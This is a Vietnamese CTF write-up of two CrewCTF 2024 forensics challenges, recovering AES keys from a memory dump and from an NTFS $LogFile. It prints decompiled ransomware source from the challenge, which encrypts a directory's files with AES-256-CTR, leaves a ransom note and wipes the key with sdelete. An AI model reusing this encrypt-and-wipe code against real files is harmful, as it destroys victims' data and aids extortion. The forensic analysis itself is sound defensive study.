---
# System prepended metadata

title: CrewCTF 2024

---

# CrewCTF 2024
## Forensics
### Crymem

> Question: I obtained a memory dump including encrypted flag. How to decrypt it? Maybe, the source code leads us insights…

Ở bài này, ta được cho một file memory dump và một file source .c

![image](https://hackmd.io/_uploads/BkeWAg0cC.png)

Mình thử dùng volatility để phân tích file memdump này nhưng không được vì cần build 1 profile tùy chỉnh, điều này rất khó vì nó cần nhiều thứ. Thử qua đọc source code .c

```clike=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/random.h>
#include <openssl/evp.h>


size_t file_read_with_delete(char* filename, unsigned int maxdatasize, uint8_t* readdata) {
    int fd;
    struct stat stbuf;
    size_t file_size;
    long page_size, map_size;
    char* map;
    char c = 0;

    if (!filename) {
        perror("filename is invalid\n");
        return -1;
    }

    // open file
    fd = open(filename, O_RDONLY);
    if (fd < 0) {
        perror("Error opening file for read\n");
        return -1;
    }

    // obtain file size
    if (fstat(fd, &stbuf) == -1) {
        perror("fstat error\n");
        return -1;
    }

    file_size = (size_t)(stbuf.st_size);

    if ((unsigned int)file_size > maxdatasize) {
        perror("filesize is too large\n");
        return -1;
    }

    // mmap file
    page_size = getpagesize();
    map_size = (file_size / page_size + 1) * page_size;

    if ((map = (char*)mmap(NULL, map_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
        perror("mmap error\n");
        return -1;
    }

    // read file to writedata
    memcpy(readdata, map, file_size);

    close(fd);
    munmap(map, map_size);

    // open file
    fd = open(filename, O_RDWR);
    if (fd < 0) {
        perror("Error opening file for write\n");
        return -1;
    }

    // mmap file
    if ((map = (char*)mmap(NULL, map_size, PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED) {
        perror("mmap error\n");
        return -1;
    }

    // null overwrite
    memset(map, 0, file_size);
    msync(map, map_size, 0);

    close(fd);
    munmap(map, map_size);

    return file_size;
}


int dummy_file_clear() {
    #define DUMMYINSIZE (2097152)

    int fd;
    struct stat stbuf;
    size_t file_size;
    long page_size, map_size;
    char* map;
    char dummy_in[DUMMYINSIZE];

    // open file
    fd = open("/lib/x86_64-linux-gnu/libc.a", O_RDONLY);
    if (fd < 0) {
        perror("Error opening file for read\n");
        return -1;
    }

    // obtain file size
    if (fstat(fd, &stbuf) == -1) {
        perror("fstat error\n");
        return -1;
    }

    file_size = (size_t)(stbuf.st_size);

    // mmap file
    page_size = getpagesize();
    map_size = (file_size / page_size + 1) * page_size;

    if ((map = (char*)mmap(NULL, map_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
        perror("mmap error\n");
        return -1;
    }

    // read file to writedata
    memcpy(dummy_in, map, DUMMYINSIZE);

    close(fd);
    munmap(map, map_size);

    return 0;
}


int encrypt(uint8_t* out, const uint8_t* in, const uint8_t* key, const uint8_t* iv, int* out_len, int in_len) {
    EVP_CIPHER_CTX *ctx;

    if (!(ctx = EVP_CIPHER_CTX_new())) {
        perror("Error creating EVP_CIPHER_CTX\n");
        return -1;
    }

    if (1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv)) {
        perror("Error initializing encryption\n");
        return -1;
    }

    if (1 != EVP_EncryptUpdate(ctx, out, out_len, in, in_len)) {
        perror("Error during encryption\n");
        return -1;
    }

    //EVP_CIPHER_CTX_free(ctx);

    return 0;
}


int main() {
    #define KEYSIZE (16)
    #define IVSIZE (16)
    #define MAXPLAINTEXTSIZE (64)
    #define MAXCIPHERTEXTSIZE (64)

    uint8_t key[KEYSIZE] = {0};
    uint8_t iv[IVSIZE] = {0};
    uint8_t in[MAXPLAINTEXTSIZE] = {0};
    uint8_t out[MAXCIPHERTEXTSIZE] = {0};
    int plaintextsize, ciphertextsize;
    int i;

    uint8_t dummy_out[MAXCIPHERTEXTSIZE] = {0};

    if (getrandom(iv, IVSIZE, 0) != IVSIZE) {
        perror("getrandom error\n");
        return -1;
    }

    if (file_read_with_delete("tmp/key.txt", KEYSIZE, key) != KEYSIZE) {
        perror("cannot read key.txt\n");
        return -1;
    }

    if ((plaintextsize = (int)file_read_with_delete("tmp/plaintext.txt", MAXPLAINTEXTSIZE-1, in)) == -1) {
        perror("cannot read plaintext.txt\n");
        return -1;
    }
    in[plaintextsize] = '\0';

    if (encrypt(out, in, key, iv, &ciphertextsize, plaintextsize) != 0) {
        perror("Error at encrypt\n");
        return -1;
    }

    // clear contexts
    memset(in, 0, MAXPLAINTEXTSIZE);
    dummy_file_clear();

    printf("IVVALUE:");
    for (i = 0; i < IVSIZE; i++) {
        printf("%02x", iv[i]);
    }
    printf("\n");

    printf("ENCFLAG:");
    for (i = 0; i < ciphertextsize; i++) {
        printf("%02x", out[i]);
    }
    printf("\n");

    return 0;
}

```

Có vẻ như nó đang sử dụng thuật toán AES-128-CBC để mã hóa flag. Vậy việc cần làm là decrypt để lấy lại flag.

Ta nhìn trong đoạn source code thì thấy rằng nó có print ra ENCFLAG và IVVALUE. Tuy nhiên ta chỉ có file memdump và không thể sử dụng volatility vậy nên cách duy nhất là strings.

![image](https://hackmd.io/_uploads/B1gajfQCqC.png)

![image](https://hackmd.io/_uploads/SJbaM709R.png)

Tuy nhiên để decrypt thì ta cần tìm ra key. Ta có thể sử dụng tool aeskeyfind để tìm key aes trong file memdump.

![image](https://hackmd.io/_uploads/B1vDE705A.png)

Chúng ta đã có key rồi thì decrypt encflag để lấy flag thôi.

![image](https://hackmd.io/_uploads/BJu2Vm09C.png)

### Fiilllleeeeeeee

> Question: I plugged in a USB and it encrypted my files. Luckily I had the initiative to take an image of the USB after the encryption occurred (fiilllleeeeeeee.ad1). Can you find a way of decrypting my most important file (flag.txt)? Note: The ransomware in the image should be harmless as it only targets a specific directory that is incredibly unlikely to exist by chance.

Đề bài cho ta một file .ad, sử dụng ftk để mount thì ta thấy có note ransomware, một file bị xóa và 2 file executable.

![image](https://hackmd.io/_uploads/S1KfLXCcR.png)

Trong 2 file executable có một file là sdelete64.exe. Đây là một tool của microsoft.

Cụ thể thì khi ta xóa tệp trên Windows thông thường, tệp đó không thực sự bị xóa khỏi ổ cứng mà chỉ có đường dẫn đến tệp bị loại bỏ, nên vẫn có thể khôi phục lại được bằng một số tool.

SDelete giúp ta xóa tệp một cách an toàn bằng cách ghi đè dữ liệu của tệp đó trên ổ cứng với các mẫu dữ liệu ngẫu nhiên, làm cho việc khôi phục tệp trở nên khó khăn hoặc không thể thực hiện được. Ngoài ra ta thấy rằng file bị xóa có filename là ZZZZZZZZ. Theo mình tìm hiểu được thì đây là một mode của sdelete, nó sẽ thực hiện việc đổi tên tệp đó 26 lần, mỗi lần thay thế từng ký tự trong tên tệp bằng một ký tự liên tiếp trong bảng chữ cái. Ví dụ, nếu tên tệp ban đầu là "File.txt", nó sẽ lần lượt đổi tên thành "Aile.txt", "Bile.txt", và cứ thế tiếp tục cho đến khi toàn bộ tên tệp đã được thay thế bởi các ký tự từ A đến Z.

Vì vậy trong phần lớn các trường hợp thì việc khôi phục lại file sau khi sử dụng sdelete là điều bất khả thi.

Tiếp tục phân tích file fiilllleeeeeeee.exe, sau khi extract về thì mình biết rằng đây là file được compile bằng python, sử dụng một số tool decompile thì ta có source code.

```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: fiilllleeeeeeee.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import subprocess
from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey
from cryptography.hazmat.primitives.ciphers import algorithms, Cipher, modes
from hashlib import sha256
from pathlib import Path
import os
import shelve
import sys
PUBLIC_KEY = X25519PublicKey.from_public_bytes(bytes.fromhex('18099b8ba29b20553ee1fb36280fce8fcd616d036c70d24fe7918bc199baa879'))
if getattr(sys, 'frozen', False):
    WORKING_DIRECTORY = Path(sys.executable).parent
else:
    WORKING_DIRECTORY = Path(__file__).parent
SHARED_KEY_FILE = WORKING_DIRECTORY / 'shared_key'
MESSAGE_FILE = WORKING_DIRECTORY / 'message.txt'
SDELETE_FILE = WORKING_DIRECTORY / 'sdelete64.exe'
ENCRYPT_DIRECTORY = Path.home() / 'Documents' / 'is_you_happen_to_have_a_directory_named_this_and_they_get_encrypted_then_its_on_you'
MAGIC = b'ENCRYPTED\x00\x00\x00\xde\xad\xbe\xef'

def main():
    if SHARED_KEY_FILE.exists():
        shared_key = SHARED_KEY_FILE.read_bytes()
    else:
        private_key = X25519PrivateKey.generate()
        public_key = private_key.public_key().public_bytes_raw()
        shared_key = sha256(private_key.exchange(PUBLIC_KEY)).digest()
        MESSAGE_FILE.write_text(f'\n        Whoops! Looks your files are encrypted.\n        Email fake@example.com quoting the following unique ID to decrypt your files:\n        {public_key.hex()}\n        ')
        SHARED_KEY_FILE.write_bytes(shared_key)
    if ENCRYPT_DIRECTORY.exists() and ENCRYPT_DIRECTORY.is_dir():
        for file in ENCRYPT_DIRECTORY.iterdir():
            if not file.is_file():
                continue
            contents = file.read_bytes()
            if contents.startswith(MAGIC):
                continue
            nonce = os.urandom(algorithms.AES256.block_size // 8)
            cipher = Cipher(algorithms.AES256(shared_key), modes.CTR(nonce))
            encryptor = cipher.encryptor()
            file.write_bytes(MAGIC + nonce + encryptor.update(contents) + encryptor.finalize())
    SHARED_KEY_FILE.write_bytes(b'A' * SHARED_KEY_FILE.stat().st_size)
    subprocess.call([str(SDELETE_FILE.resolve()), '/accepteula', str(SHARED_KEY_FILE.resolve())])
    subprocess.call(['notepad.exe', MESSAGE_FILE.resolve()])
if __name__ == '__main__':
    main()
```

Phân tích qua thì có vẻ đây là source code ransomware có nhiệm vụ encrypt các file trong một folder có tên là "is_you_happen_to_have_a_directory_named_this_and_they_get_encrypted_then_its_on_you" bằng thuật toán AES256-CTR, sau đó xóa luôn file shared key chứa key để decrypt bằng sdelete.

Việc cần làm của ta là khôi phục lại file shared key. Tuy nhiên như mình nói thì rất khó để khôi phục một file sau khi sử dụng sdelete. Nhưng ở đây, sau khi mình nghiên cứu một chút thì biết rằng khi sử dụng SDelete.exe để xóa tệp, nó không tự động tạo ra một tệp nhật ký (LogFile) riêng. Tuy nhiên, trong quá trình thực hiện ghi đè và đổi tên tệp, có thể một LogFile entry sẽ được tạo ra trong bảng Master File Table (MFT).

Cụ thể, khi SDelete thực hiện đổi tên tệp thành "AAAAAAA" rồi tiếp tục với các tên khác, những thao tác này có thể được hệ thống file ghi lại như là một phần của quá trình hoạt động bình thường. Điều này có nghĩa là mặc dù SDelete không tạo ra một tệp nhật ký cụ thể, nhưng các thao tác ghi đè và đổi tên tệp có thể để lại dấu vết trong hệ thống.

Dựa vào những dữ kiện quan trọng này. Ta sẽ parse file Logfile để phân tích kỹ hơn.

Ta có thể sử dụng tool [LogfileParser](https://github.com/jschicht/LogFileParser) để parse $Logfile.

![image](https://hackmd.io/_uploads/r1m-AmRq0.png)

Phân tích tệp ntfs.db, file shared key có thể được tìm thấy đang được thêm vào mftref với offset 43 trong MFT và được sửa đổi với một giá trị ngay trước khi được ghi đè bởi SDelete. Ta có thể truy cập debug.log với offset này để xem data của nó.

![image](https://hackmd.io/_uploads/H18rRQCqR.png)

![image](https://hackmd.io/_uploads/SyWTRmCcR.png)

Sau khi có shared key rồi, ta có thể decrypt file flag rồi.

```python=
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import binascii
import os

MAGIC = b'ENCRYPTED\x00\x00\x00\xde\xad\xbe\xef'
SHARED_KEY_HEX = '00e0e41eef5fa2449180acdee971e220a33f2ce630a411ad3ae8668ce6261474'
ENCRYPTED_FILE = './flag.txt'

shared_key = binascii.unhexlify(SHARED_KEY_HEX)

def decrypt_file(file_path, shared_key):
    with open(file_path, 'rb') as f:
        contents = f.read()

    if not contents.startswith(MAGIC):
        print(f"{file_path} does not contain the expected MAGIC header.")
        return

    # Extract nonce and encrypted content
    nonce = contents[len(MAGIC):len(MAGIC) + algorithms.AES256.block_size // 8]
    encrypted_content = contents[len(MAGIC) + len(nonce):]

    # Initialize AES-256-CTR decryption
    cipher = Cipher(algorithms.AES256(shared_key), modes.CTR(nonce))
    decryptor = cipher.decryptor()
    decrypted_content = decryptor.update(encrypted_content) + decryptor.finalize()

    print("Flag: " + decrypted_content.decode('utf-8'))

decrypt_file(ENCRYPTED_FILE, shared_key)
```

> Flag: crew{d0_y0u_637_7h3_ch4ll3n63_n4m3?_f4a73851}

Cursed solved lmao

```python=
from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey
from cryptography.hazmat.primitives.ciphers import algorithms, Cipher, modes
from hashlib import sha256
from pathlib import Path
import os

MAGIC = b'ENCRYPTED\x00\x00\x00\xde\xad\xbe\xef'
ciphertext = open("flag.txt", 'rb').read()
key = open("fiilllleeeeeeee.ad1", 'rb').read()
ciphertext = ciphertext[16:]
nonce = ciphertext[0:16]
ciphertext = ciphertext[16:]



for i in range(len(key) - 32):
    sliding_key = key[i:i + 32]
    cipher = Cipher(algorithms.AES(sliding_key), modes.CTR(nonce))
    decryptor = cipher.decryptor()
    sol = decryptor.update(ciphertext) + decryptor.finalize()
    if b"crew{" in sol:
        print(sol)
        print(sliding_key.hex())
```

Vì shared key hong được chia nhỏ mà được để đâu đó trong file ad1. Vì thế có thể bruteforce shared key cho đến khi tìm decrypt ra được crew{ :D